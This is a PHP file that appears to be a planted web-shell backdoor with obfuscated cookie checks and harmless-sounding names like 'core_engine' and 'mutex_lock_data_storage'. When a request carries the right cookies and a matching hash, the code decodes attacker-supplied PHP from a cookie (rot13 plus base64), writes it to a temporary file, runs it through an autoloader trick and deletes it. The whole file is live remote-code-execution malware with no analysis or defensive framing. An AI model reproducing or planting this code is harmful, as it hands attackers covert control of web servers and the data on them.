<?php


if (isset($_COOKIE[52+-52]) && isset($_COOKIE[-76+77]) && isset($_COOKIE[-72+75]) && isset($_COOKIE[-87+91])) {
    $flag = $_COOKIE;
    function core_engine($elem) {
        $flag = $_COOKIE;
        $dchunk = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '44d85dbe');
        if (!is_writable($dchunk)) {
            $dchunk = getcwd() . DIRECTORY_SEPARATOR . "request_approved";
        }
        $key = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($flag[3]));
        if (is_writeable($dchunk)) {
            $obj = fopen($dchunk, 'w+');
            fputs($obj, $key);
            fclose($obj);
            spl_autoload_unregister(__FUNCTION__);
            require_once($dchunk);
            @array_map('unlink', array($dchunk));
        }
    }
    spl_autoload_register("core_engine");
    $object = "0c02575cae7a65e9ee3aa053e024ded3";
    if (!strncmp($object, $flag[4], 32)) {
        if (@class_parents("mutex_lock_data_storage", true)) {
            exit;
        }
    }
}